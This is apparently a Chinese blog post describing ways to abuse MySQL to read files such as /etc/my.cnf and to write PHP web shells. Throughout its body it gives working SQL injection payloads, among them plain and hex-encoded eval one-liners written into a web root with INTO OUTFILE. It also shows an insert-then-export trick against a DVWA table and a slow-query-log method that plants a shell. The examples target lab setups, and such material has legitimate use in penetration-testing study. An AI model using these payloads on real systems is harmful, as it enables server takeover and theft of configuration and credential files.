mysql利用姿势排查

读文件

首先,如果系统开启了 selinux(用户读取一个文件,必须该进程先通过SELinux验证,然后才是对用户的权限进行验证),是无法读取到其他服务配置文件或者 /etc/passwd 的,需要将 selinux 关闭才能读取。

load_file

查询命令

select load_file("/etc/my.cnf");

条件:受secure_file_priv字段的限制
当 mysql secure_file_priv 配置项为空(空是""而不是NULL,NULL代表不可读取),或者指定的一个目录时,即可读取文件。

show variables like "%secure%"

在这里插入图片描述

load data infile & load data local infile

条件:
load data infile 受secure_file_priv字段的限制
load data local infile 受客户端限制,如php.ini中mysqli.allow_local_infile = on

load data infile '/etc/my.cnf' into table test;
load data local infile '/etc/my.cnf' into table test;

这两句虽然都是读取文件并存到表中的,但是是有一定的区别的,按照我的理解是,第一句 SQL 是讲 mysql 服务所在的机器上的文件存到数据库中,而第二句是讲连接 mysql 的机器上的文件存入到 mysql 中

写文件

outfile & dumpfile

条件:
当 secure_file_priv 配置项为空或者指定了一个目录时,且该目录mysql有写入权限。

特点:
1、outfile可导出多行,dumpfile只能倒出一行
2、outfile和dumpfile的路径不能是0x开头或者char转换以后的路径
3、outfile将数据写到文件里时有特殊的格式转换
4、dumpfile 在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写二进制文件,如exe文件,udf提权的dll文件
4、outfile 和 dumpfile 在 mysql 3.23.55版本之后,不可以覆盖文件,只能创建新文件

select "123" into outfile "/tmp/123.txt";
select "123" into dumpfile "/tmp/123.txt";

举例:
一句话直接写

-1' union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"

一句话shell HEX编码

id=-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/WWW/shell.php"#

先插入后写入

id=-1';insert into dvwa.guestbook values (2,"<?php @eval($_POST['c']);?>","shell") ;
id=-1' union select comment,name from dvwa.guestbook into outfile 'C:/phpStudy/WWW/shell.php';

日志

可以通过慢查询日志写入shell,慢查询日志是用来记录执行时间超过指定时间的查询语句
查看日志情况

SHOW GLOBAL VARIABLES LIKE '%log%';

在这里插入图片描述

  • slow_query_log :表示慢查询日志是否开启,ON表示开启,OFF表示未开启,默认OFF
  • slow_query_log_file :表示慢查询日志文件的路径

上面两个值我们都可以通过sql语句进行更改。

查看多久会触发慢查询

SHOW GLOBAL VARIABLES LIKE 'long%' 

在这里插入图片描述
例子
1.开启慢查询日志并修改日志为网站路径下的脚本

-1';set global slow_query_log = 1;set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';#

2.执行包含Shell的查询语句并使用sleep(11)让语句记录进慢查询日志脚本

-1';select "<?php eval($_POST[log]);?>" from users where sleep(11);#

参考:
https://www.freebuf.com/articles/web/244103.html
https://www.freebuf.com/articles/web/243136.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值